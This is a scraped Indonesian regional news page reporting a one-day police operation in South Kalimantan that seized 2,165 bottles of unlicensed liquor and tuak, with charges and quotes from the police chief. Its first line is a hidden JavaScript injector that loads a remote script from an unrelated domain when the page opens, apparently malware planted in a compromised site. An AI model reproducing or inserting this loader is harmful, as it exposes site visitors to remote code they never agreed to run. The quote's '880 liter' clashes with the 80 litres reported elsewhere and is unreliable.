(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dalam Sehari Polda Kalsel Sita 2.165 Miras dan 80 Liter Tuak


BANJARMASIN, Operasi cipta kondisi di wilayah hukum Polda Kalsel berhasil menyita minuman keras berbagai merek sebanyak 2.165 botol dan 80 liter tuak pada Rabu (11/4). Hasil sitaan minuman beralkohol tersebut diungkap pada konferensi pers yang digelar di Kantor Ditreskrimsus Polda Kalsel, Kamis (12/4).

Kapolda Kalsel Brigjen Rachmat Mulyana mengatakan, ribuan miras dan tuak yang dijual tanpa SIUP-MB ini didapat dari beberapa lokasi berbeda. Dengan rincian hasil operasi Dikrimsus Polda Kalsel di Toko Arema Landasan Ulin sebanyak 982 botol, Kios Bonari Sei Ulin 166 botol, Dikrimum di lokasi Tandiratu Komplek Mekatama 351 botol, Polair Polda Kalsel 122 botol, Dit Shabara Polda Kalsel 455 botol, serta di Kabupaten Tapin 2 drum tuak dan Kabupaten Balangan 36 liter tuak.

Menurut Brigjen Rachmat Mulyana, hasil penyitaan minuman keras dilakukan secara serentak oleh jajaran Polda Kalsel seperti Ditreskrimsus, Ditshabara, Ditpolar, untuk memburu peradaran penjualan minuman keras di wilayah hukum Kalsel.

“Alhamdulillah dalam tempo sehari saja sudah bisa menyita berbagai merek minuman keras berjumlah 2.165 botol, ditambah delapan 880 liter tuak dari berbagai tempat . Kita tidak akan menindak dengan pidana ringan karena itu tidak akan membuat efek jera,” jelasnya.

Dua pelaku pengedar miras tanpa mengantongi izin SIUP-MB yakni, Heri Bonari Yanto pemilik kios Bonari dan Totok Maryono disangkakan melanggar Pasal 106 dan Pasal 24 UU No. 7/2014 tentang Perdagangan dengan ancaman penjara paling lama 4 tahun atau pidana denda paling banyak Rp 10 miliar.

Selain itu juga pelaku dapat dikenakan Pasal 8 UU No. 08/1999 tentang Perlindungan Konsumen dengan hukuman penjara 5 tahun. “Menjelang Ramadhan ini kami tingkatkan intensitas operasinya,” tegas Kapolda.

Kegiatan ini tidak bisa menjamin miras tidak lagi beredar di masyarakat. Menurutnya, Polri perlu peran dari masyarakat untuk mengawasi agar peredaran bisa diredam. “Pencegahan yang lainnya adalah upaya represif melalui operasi dan edukasi ke masyarakat,” katanya.

Kapolda juga memperingatkan kepada penjual minuman keras oplosan untuk tidak lagi berani menjualnya ke masyarakat. Jika membandel, polisi akan memberi tindakan tegas.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.